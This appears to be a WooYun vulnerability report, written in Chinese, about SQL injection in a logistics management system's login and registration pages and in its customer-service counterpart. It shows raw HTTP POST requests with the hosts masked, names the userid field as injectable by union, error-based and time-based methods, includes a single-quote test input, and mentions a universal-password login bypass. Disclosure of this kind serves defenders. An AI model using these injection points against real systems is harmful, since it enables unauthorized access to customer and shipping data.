WooYun.org

POST /Logon?action=logon HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 77
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: *****
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/logon.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 
ifcookie=0&driveno=&macaddr=&userid=admin&password=aaa&Submit=%E7%99%BB%E5%BD%95



漏洞证明：userid参数存在注入





K5版对应的客户服务管理系统：





POST /client/Logon?action=logon HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 25
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: ***
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/c_index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 
userid=kehu&password=aaaa
漏洞证明：userid存在注入，虽然是相互依存的系统，但可以看到对应的语句也不一样，前面是联合，这里可以是报错。

/reg.jsp、或者/CUesrRegister?action=initReg



POST /CUesrRegister?action=register HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 256
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: ****
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/reg.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 
userid=admin&password=111111&password_1=111111&corpid=123&clientname=aaaaa&totalname=bbbbb&regno=cccc&tel=dddd&faxno=&post=&website=&clientaddress=&pickaddr=eeee&contact=&qq=ffff&msn=&mobile=eeee&email=&othertel=&note=&checkname=1&Submit=%E6%B3%A8%E5%86%8C

 
POST /Logon?action=logon HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 55
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: ****
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 
txtMACAddr=&txtIPAddr=&txtDNSName=&userid=a'&password=a
漏洞证明：userid存在联合查询





对应的客户服务系统也存在注入：





POST /client/Logon?action=logon HTTP/1.1
Host: ***.**.**.**
Proxy-Connection: keep-alive
Content-Length: 25
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://***.**.**.**
User-Agent: ****
Content-Type: application/x-www-form-urlencoded
Referer: http://***.**.**.**/client.jsp?retry_reason=PASSWORD
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:
userid=kehu&password=aaaa
漏洞证明：userid存在报错注入





另外可以使用万能密码：大量发往国外的物流信息啊

标准版注册处存在注入： 
/reg.jsp



POST /data/CUesrRegister?action=register HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 154
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: ***
Content-Type: application/x-www-form-urlencoded
Referer: http://***.**.**.**/reg.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
userid=admin&password=111111&corpshname=111111&corpname=1111&contcter=111111&telphone=11111&mphone=11111&email=11111%**.**.**.**&addr=111&Submit=%B1%A3%B4%E6
漏洞证明：userid仅支持延迟注入